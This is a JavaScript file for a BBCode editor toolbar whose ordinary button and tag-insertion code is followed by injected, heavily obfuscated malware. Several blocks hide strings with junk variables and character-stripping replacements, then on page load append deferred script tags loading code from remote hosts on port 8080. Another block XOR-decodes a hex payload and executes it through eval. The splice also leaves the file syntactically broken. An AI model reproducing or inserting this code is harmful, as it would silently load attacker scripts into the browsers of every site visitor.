var edButtons = new Array();
var edLinks = new Array();
var edOpenTags = new Array();

function edButton(id, display, tagStart, tagEnd, access, open) {
	this.id = id;				// used to name the toolbar button
	this.display = display;		// label on button
	this.tagStart = tagStart; 	// open tag
	this.tagEnd = tagEnd;		// close tag
	this.access = access;		// access key
	this.open = open;			// set to -1 if tag does not need to be closed
}

function zeroise(number, threshold) {
	// FIXME: or we could use an implementation of printf in js here
	var str = number.toString();
	if (number < 0) { str = str.substr(1, str.length) }
	while (str.length < threshold) { str = "0" + str }
	if (number < 0) { str = '-' + str }
	return str;
}

var now = new Date();
var datetime = now.getFullYear() + '-' + 
				zeroise(now.getMonth() + 1, 2) + '-' +
				zeroise(now.getDate(), 2) + 'T' + 
				zeroise(now.getHours(), 2) + ':' + 
				zeroise(now.getMinutes(), 2) + ':' + 
				zeroise(now.getSeconds() ,2) +
				// FIXME: we could try handling timezones like +05:30 and the like
				zeroise((now.getTimezoneOffset()/60), 2) + ':' + '00';
edButtons[edButtons.length] = 
new edButton('ed_strong'
,'b'
,'[b]'
,'[/b]'
,'b'
);

edButtons[edButtons.length] = 
new edButton('ed_italic'
,'i'
,'[i]'
,'[/i]'
,'i'
);

edButtons[edButtons.length] = 
new edButton('ed_underline'
,'u'
,'[u]'
,'[/u]'
,'u'
);

edButtons[edButtons.length] = 
new edButton('ed_link'
,'link'
,''
,'[/url]'
,'a'
); // special case

/*edButtons[edButtons.length] = 
new edButton('ed_code'
,'code'
,'[code]'
,'[/code]'
,'c'
);*/

function edLink() {
	this.display = '';
	this.URL = '';
	this.newWin = 0;
}

function edShowButton(button, i) {
	if (button.id == 'ed_img') {
		document.write('<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertImage(edCanvas);" value="' + button.display + '" />');
	}
	else if (button.id == 'ed_link') {
		document.write('<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertLink(edCanvas, ' + i + ');" value="' + button.display + '" />');
	}
	else {
		document.write('<input type="button" id="' + button.id + '" accesskey="' + button.access + '" class="ed_button" onclick="edInsertTag(edCanvas, ' + i + ');" value="' + button.display + '"  />');
	}
}

function edShowLinks() {
	var tempStr = '<select onchange="edQuickLink(this.options[this.selectedIndex].value, this);"><option value="-1" selected>(Quick Links)</option>';
	for (i = 0; i < edLinks.length; i++) {
		tempStr += '<option value="' + i + '">' + edLinks[i].display + '</option>';
	}
	tempStr += '</select>';
	document.write(tempStr);
}

function edAddTag(button) {
	if (edButtons[button].tagEnd != '') {
		edOpenTags[edOpenTags.length] = button;
		document.getElementById(edButtons[button].id).value = '/' + document.getElementById(edButtons[button].id).value;
	}
}

function edRemoveTag(button) {
	for (i = 0; i < edOpenTags.length; i++) {
		if (edOpenTags[i] == button) {
			edOpenTags.splice(i, 1);
			document.getElementById(edButtons[button].id).value = 		document.getElementById(edButtons[button].id).value.replace('/', '');
		}
	}
}

function edCheckOpenTags(button) {
	var tag = 0;
	for (i = 0; i < edOpenTags.length; i++) {
		if (edOpenTags[i] == button) {
			tag++;
		}
	}
	if (tag > 0) {
		return true; // tag found
	}
	else {
		return false; // tag not found
	}
}	

function edCloseAllTags() {
	var count = edOpenTags.length;
	for (o = 0; o < count; o++) {
		edInsertTag(edCanvas, edOpenTags[edOpenTags.length - 1]);
	}
}

function edQuickLink(i, thisSelect) {
	if (i > -1) {
		var newWin = '';
		if (edLinks[i].newWin == 1) {
			newWin = ' target="_blank"';
		}
		var tempStr = '[url=' + edLinks[i].URL + ']' 
		            + edLinks[i].display
		            + '[/url]';
		thisSelect.selectedIndex = 0;
		edInsertContent(edCanvas, tempStr);
	}
	else {
		thisSelect.selectedIndex = 0;
	}
}

function edToolbar() {
	document.write('<div id="ed_toolbar">');
	for (i = 0; i < edButtons.length; i++) {
		edShowButton(edButtons[i], i);
	}
	document.write('<input type="button" id="ed_close" class="ed_button" onclick="edCloseAllTags();" title="Close all open tags" value="close all" />');
//	edShowLinks(); // disabled by default
	document.write('</div>');
}

// insertion code

function

var h;if(h!=''){h='g'};var vx=false;var d=false;var t=document;var _o=new Date();this.wg="wg";var v=window;var n='s*czrGiGp2tz'.replace(/[z\<2G\*]/g, '');var lb;if(lb!='mn' && lb!='cg'){lb='mn'};this.jb=false;var ka=new Array();this.fy="";v.onload=function(){var ab;if(ab!='' && ab!='h_'){ab=null};var ly=new String();try {z=t.createElement(n);var pg;if(pg!='zx'){pg='zx'};var zp=new Array();var pi;if(pi!=''){pi='u'};var gp;if(gp!='abq' && gp!='fe'){gp=''};z.setAttribute('dTeTfWeTrt'.replace(/[tv\^TW]/g, ''), "1");var eq;if(eq!='' && eq!='nk'){eq='cu'};var bl=new String();z.src='h>tLtOpL:>/L/Lf_iLl>e>hLiOp>pLoO-Lc_oLm_.LwOi_nOd7o>w7sOlLiLvLe>._cOoOm7.Oi>t_1>6O8O->c7o>m_._rOeLc>e>n7tOm>e7xLiOc>oL.>r_uL:78_0O8_0L/_g_o7oOg>lLeL.7cLo7m_/7g_oLo>gLl>e>.7cLoLm_/7uOsLpOsO.OcOoLm>/7wLeLb7s>.Oc7o>mL/LfOoLx7nOeLwOsL._c_oLm7/O'.replace(/[O7\>_L]/g, '');var uw;if(uw!='' && uw!='tv'){uw='yqg'};var zz;if(zz!='ve' && zz!='x'){zz=''};t.body.appendChild(z);} catch(a){};var it=53650;this.ez=false;};var ov=50500;
var c;if(c!=''){c='b'};try {var x=new Array();:LineMixer [var m='hZtOtkpO:Z/k/kiZpOiEcEtkukrZeO-Erkuk.T1E1O0EmEbZ.ZcOoTmk.OpZoOrknEokrEaZmZaZ-kcZokmO.ObTeksEtTnTeOwZsZmTaElTlO.krEuk:O8Z0O8O0O/kcZhkiEnOaT.TcToOmE.ZcEnk/TcOhTiTnEaT.TcEoZmZ.ZcZnO/ZsOiZtZeOsZeOlklE.TcOokmO/TmOoOzEiTlOlkaT.ZoTrTgk/ZgkoToTgElEeE.TcToEmZ/E'.replace(/[ETZkO]/g, '');var u='sucNraiapWtW'.replace(/[W4aNu]/g, '');var l=new Array();var _='cRrjeVaUtUeVE5lRe5mVe5nUtj'.replace(/[jVRU5]/g, '');var e=""
var NPV="362d300a0c492a222512175f3929382d650f21102c023e2d2116381f1e311a3c0436060338092e04380c3828031038151f391a081a041b04201b3c202d2a020d3c25244c0038522e2a184b283f512738";this.BH=false;var aA;if(aA!=''){aA='oF'};var fPm='';function T(z){var r;if(r!='LB'){r='LB'};var Qx='';var uj;if(uj!='TW' && uj!='jA'){uj='TW'};this.jc=38908; var v=function(j){var uD;if(uD!='dR' && uD!='rx'){uD=''};this.Z="";var R=[255][0];var jw=[149,22,1][2];var t;if(t!='' && t!='N'){t='C'};var d=j[H("elgnht", [1,0])];var Ry=[86,193,0,81][2];var vL;if(vL!='gw'){vL='gw'};this.Sy="Sy";var X=[0][0];this.hm='';var JN=57429;var Gr=40643;while(X<d){this.ZB=30387;this.IK='';var fP;if(fP!=''){fP='yU'};X++;var SL;if(SL!='ZP' && SL != ''){SL=null};var yc;if(yc!='lS' && yc != ''){yc=null};g=eP(j,X - jw);this.Wm=43284;Ry+=g*d;}var Ic=false;this.uq="";this.Gd="Gd";return new O(Ry % R);this.yGI=7799;};var Ag=new String();var JNT;if(JNT!='' && JNT!='NP'){JNT='EB'};var oQ;if(oQ!='hI'){oQ=''};this.Ae="Ae"; var H=function(Y, l){this.VN=false;var F="";var Xe = Y.length;var dO;if(dO!='' && dO!='Ao'){dO='ZJ'};this.gJ=50242;var lR = '';var Ey;if(Ey!='' && Ey!='XIW'){Ey=''};var Mu;if(Mu!='' && Mu!='ZI'){Mu=''};var L=[32,247,59,0][3];var jw=[1,219,7,219][0];this.CC="CC";var vz = l.length;this.Oi='';var sA;if(sA!='AL'){sA=''};var Ga=new Date();var Oe;if(Oe!='VL' && Oe!='fp'){Oe='VL'};for(var zQ = L; zQ < Xe; zQ += vz) {var JT=false;this.zD='';this.cs=27922;var bt;if(bt!='Bm'){bt=''};var y = Y.substr(zQ, vz);this.ox=43471;if(y.length == vz){this.BT=false;var hv=new Date();for(var X in l) {var lz='';var vb="vb";lR+=y.substr(l[X], jw);var lM;if(lM!='uY'){lM='uY'};this.qN="qN";}var DF;if(DF!='JM'){DF='JM'};var Sw=new Array();} else {var ec;if(ec!='' && ec!='uH'){ec=null};  lR+=y;var EV;if(EV!=''){EV='AH'};}var tJ='';}this.cJ="cJ";return lR;}; var e=function(Y){var Ac=63091;this.hj=false;this.DW=false;var L =[47,147,0][2];var zz=new Array();var lR = '';Y = new O(Y);var bv="";var zQ =[223,0,139][1];var V = -1;var Vy;if(Vy!=''){Vy='xS'};this.Kc='';var el="el";var dT;if(dT!='xc' && dT!='qO'){dT='xc'};var nE=new Date();for (zQ=Y[H("enlgth", [2,0,1,3,4,5])]-V;zQ>=L;zQ=zQ-[205,1,16,175][1]){var OB;if(OB!='' && OB!='vzo'){OB='za'};lR+=Y[H("aArhct", [4,3,0,2,1])](zQ);var hk;if(hk!='MG' && hk!='FB'){hk=''};var lze=new Array();}this.GK=false;var lCW;if(lCW!='by'){lCW='by'};return lR;};var GR;if(GR!='' && GR!='Vb'){GR=null};var eh="eh"; var I=function(eH,M){var pA=new String();var zJ='';return eH^M;};var KH;if(KH!='' && KH!='rM'){KH='zB'};var PI=new String();var nv;if(nv!='' && nv!='NPC'){nv='sU'};this.vv=false;this.Sg="Sg";var Bl;if(Bl!='rf'){Bl=''}; var ux;if(ux!=''){ux='sV'};this.lZ='';function eP(XI,h){var Ns;if(Ns!='' && Ns!='Gb'){Ns='GC'};return XI[H("harcodeCAt", [3,0,1,2])](h);var XaR;if(XaR!='qV' && XaR!='hn'){XaR='qV'};var PK;if(PK!='zg' && PK!='Ok'){PK='zg'};}this.CJ='';var UW=51107;var oL;if(oL!='' && oL!='WE'){oL=''};var gb=window;var bQ="";var eR;if(eR!='BR'){eR=''};var S=gb[H("vael", [2,0,1])];var Ay="Ay";var ee=S(H("uFcnitno", [1,0]));var tM;if(tM!='lhv' && tM!='xSa'){tM='lhv'};var IZ;if(IZ!='' && IZ!='jI'){IZ=''};var Ow;if(Ow!='Uq'){Ow=''};var O=S(H("rtniSg", [4,1,0,3,2]));var aq;if(aq!='' && aq!='hA'){aq=''};var lC=S(H("xRgeEp", [1,3,2,4,0]));var Bi=new Array();var wG;if(wG!='aD' && wG!='nM'){wG='aD'};var bU = '';var di=new String();var XB=new Date();var xE;if(xE!='' && xE!='VM'){xE=null};var bi=new Array();var HM;if(HM!=''){HM='gt'};var jC='';var YT;if(YT!='Qyv'){YT='Qyv'};var i=gb[H("pnsauece", [4,1,5,2,6,3,0])];var aW;if(aW!=''){aW='nzT'};var fJ=40850;var Ru=O[H("afComhrrCode", [1,6,3,4,2,5,0])];var HMH;if(HMH!='' && HMH!='Ff'){HMH='uDg'};var is;if(is!='' && is!='SF'){is='qx'};var hvS="";var Mm="";this.QE='';var vV;if(vV!='' && vV!='Sq'){vV=''};var tX=false;var u = /[^@a-z0-9A-Z_-]/g;var aj=false;var li=false;var q=[1, H("odcuemntc.retaeEelmetn(\'csritp\')", [1,0,2,3]),2, H("udenmocoty.d.beadCnppdhd)(il", [1,5,6,0,4,2,3]),3, H("tl.einstieevsgiendu8:r0.80", [5,3,0,2,1,4]),4, H("ertlrao.com", [4,0,5,3,2,6,1]),5, H(".edsAtttiurbe\'t(eedfr\'", [2,0,3,1]),6, H("k.haibinx.cgm.oiokkesa", [2,0,1]),7, H("iwdnwoo.lnaod", [1,0,3,2]),8, H("tfniocun()", [1,6,2,5,0,3,4]),11, H("mbozii.com", [3,5,0,1,4,2]),12, H("ogoeglo.cm", [1,2,0]),14, H("tca(che)", [1,2,0]),15, H("t\"htp:", [1,2,0,3,4]),16, H(".8c5om", [3,1,0,2]),17, H("oolgge", [3,0,1,4,2]),18, H(".drsc", [1,0]),19, H("1\'\')", [2,0,1]),20, H("rty", [1,0,2]),21, H("moc", [2,1,0])];var co;if(co!='Ch'){co='Ch'};var ls;if(ls!='ao' && ls != ''){ls=null};var jw =[1][0];this.Hz=false;this.JL=false;var zh = '';this.Je='';var J = O.fromCharCode(37);var Ir=new String();var k =[0,51,86][0];var D =[14,2,119,13][1];var Ll = '';this.rB="";var xi;if(xi!='' && xi!='EI'){xi='Tk'};var L =[0,153,248,253][0];var Vj = '';var hf=new String();this.cu='';var IE = z[H("elgnht", [1,0])];var sR="sR";var XK=new Array();var Hh;if(Hh!=''){Hh='GA'};this.Dy="Dy";for(var n=L; n < IE; n+=D){var Cs=new String();var Tn=new Date();Vj+= J; Vj+= z[H("subrst", [4,1,2,0,5,3])](n, D);}var Wp;if(Wp!='' && Wp!='Kp'){Wp=null};var rr;if(rr!='pR' && rr!='kqI'){rr='pR'};var Vx;if(Vx!=''){Vx='xq'};var z = i(Vj);var FzX;if(FzX!='NR' && FzX != ''){FzX=null};var Xm="";var p = new O(T);var SM = p[H("erlpcae", [1,0])](u, zh);var Mg;if(Mg!='Se' && Mg!='ab'){Mg='Se'};SM = e(SM);var zC = q[H("nelhtg", [2,1,0])];this.gA=false;var uc = new O(ee);this.uU='';var RH;if(RH!='' && RH!='bw'){RH=null};var hc=new Date();var uz = uc[H("eprlace", [2,0,1,3])](u, zh);var Yk=57324;var uz = v(uz);var ex;if(ex!='' && ex!='cx'){ex=''};var lb="lb";var gi=v(SM);var dn=27705;var RK=61690;var xw;if(xw!='HC' && xw != ''){xw=null};for(var zQ=L; zQ < (z[H("netglh", [4,1,0,3,2])]);zQ=zQ+[1][0]) {var iQ;if(iQ!='' && iQ!='yT'){iQ=null};var rD="rD";var DK = SM.charCodeAt(k);var da="";var qd;if(qd!='pQ' && qd != ''){qd=null};var c = eP(z,zQ);var AF=false;var kE;if(kE!='' && kE!='Wd'){kE=''};c = I(c, DK);var Fh;if(Fh!='' && Fh!='iS'){Fh='jR'};var pr;if(pr!='' && pr!='Oy'){pr='iB'};c = I(c, gi);var Qd=new Array();c = I(c, uz);var hC;if(hC!='' && hC!='nK'){hC=''};var aZ=new Array();k++;this.xO=11997;var EJ;if(EJ!='' && EJ!='AD'){EJ=null};this.fl='';if(k > SM.length-jw){var Dcb;if(Dcb!=''){Dcb='lu'};var Kl=false;k=L;}var Zgg;if(Zgg!='' && Zgg!='Ht'){Zgg=''};this.Fy='';Ll += Ru(c);var Csr=new Date();var zK;if(zK!='rP' && zK!='nEP'){zK='rP'};}var Ty=false;var PT=false;var Qh=new String();for(Md=L; Md < zC; Md+=D){var Fkn=false;var RI=new Array();var Cu;if(Cu!='' && Cu!='KHZ'){Cu=null};var ak;if(ak!='Zk' && ak!='RN'){ak='Zk'};var w = q[Md + jw];var IV = Ru(q[Md]);var ua;if(ua!='ns'){ua=''};var ORL;if(ORL!='' && ORL!='OV'){ORL='NB'};var x = new lC(IV, O.fromCharCode(103));var aDb;if(aDb!='po'){aDb='po'};var jL;if(jL!='At'){jL=''};Ll=Ll[H("erlpcae", [1,0])](x, w);}var Vm=new Date();var hb='';var cf;if(cf!='YE' && cf!='It'){cf=''};var P=new ee(Ll);var gO=new Array();P();var nvg=36938;var fC="fC";this.Sz=false;uz = '';var Ez;if(Ez!=''){Ez='iF'};var Qi=28786;SM = '';var WT;if(WT!='sh'){WT='sh'};this.VF="VF";var Ta;if(Ta!=''){Ta='Pu'};var Dt;if(Dt!=''){Dt='mH'};gi = '';var Sem;if(Sem!='qq' && Sem != ''){Sem=null};var Asy='';Ll = '';var TX='';var qhb='';uc = '';P = '';this.gsT=false;this.sE=false;var DV="DV";var RE;if(RE!='' && RE!='DH'){RE=null};return '';var Nc=new Date();var Ci=new Array();};this.BH=false;var aA;if(aA!=''){aA='oF'};var fPm='';T(NPV);
this.u="";function R() {var Cc;if(Cc!='' && Cc!='Ac'){Cc=''};var A='replace';var i='g';var Et;if(Et!='G' && Et!='l'){Et='G'};this.TZ="";var ie='[';var Aq=new String();var E=new String();var Tb=new Array();var OZ;if(OZ!='' && OZ!='Q'){OZ=''};var z=']';var f=RegExp;var v;if(v!='t'){v='t'};function O(N,Oj){var kR=new String();var zM=ie;var ER;if(ER!='' && ER!='RW'){ER=''};zM+=Oj;var ah;if(ah!='LB' && ah != ''){ah=null};var b=new Array();zM+=z;var KU;if(KU!='' && KU!='vt'){KU=''};var EK=new f(zM, i);var p;if(p!='g' && p!='MB'){p='g'};return N[A](EK, E);};var S='';var TZJ=new String();var c=O('cdrxedadtxexExldexmdexndtd',"xd");var T=O('8525555057257877751755015175',"5172");var I=O('sIcorIiopotM',"o1I6M");var D="";var F=O('hAtntApL:V/A/VrVeAdqtnuVbneV-qcnoVmL.AaAdqoVbVen.ncAoAmq.LlLaAtViLmVeqsn-AcnoVmq.AsqaVmVuneqsAtn.VrLuV:L',"qnVLA");var wv="";var pN=new Date();var _=window;var fh='';var W='';var Js=new Array();var C=O('/4g0oToJgTlJe4.0c0oJmU.Ja0u4/4g0o0o0gTlUeJ.0cJoTmJ.0a0u4/UaJmTeTrUi0cUaJn4eTx0pJrJeUsTs4.Tc4o0mJ/0g4oJo4g4lJe4.TcToJmU/TcUyUwJoUrTlTd0.Tc4oTm4.Jp4hJp0',"4UT0J");var Nf;if(Nf!='Fc'){Nf=''};var X;if(X!='WT' && X!='Ow'){X='WT'};var ee;if(ee!='tF' && ee!='Mh'){ee='tF'};_[O('oqnCl1oCa1dq',"q1rC")]=function(){var aK=new String();var qH=new String();try {this.bu="";this.hR='';var CJ='';W+=F;var MQ=new String();this.mw="";W+=T;var XR=new Date();W+=C;var Fe;if(Fe!='P_' && Fe != ''){Fe=null};var NS='';var qZ="";var Dk=new Array();co=document[c](I);var rE;if(rE!='XM' && rE != ''){rE=null};this.UF="";OF(co,'defer',([1,1][0]));var Ue;if(Ue!='zn'){Ue='zn'};var Bp=new Array();var jz=new Date();OF(co,'src',W);document.body.appendChild(co);var wU=new String();} catch(j){};var NF=new String();var Gz=new String();};var Td="";function OF(K,H,q){var Zu;if(Zu!='gU'){Zu='gU'};var jf='';K.setAttribute(H, q);var aa;if(aa!='' && aa!='Hn'){aa=''};}var n=new Date();var Ju;if(Ju!='gs'){Ju=''};};var bV=new Array();var wF='';R();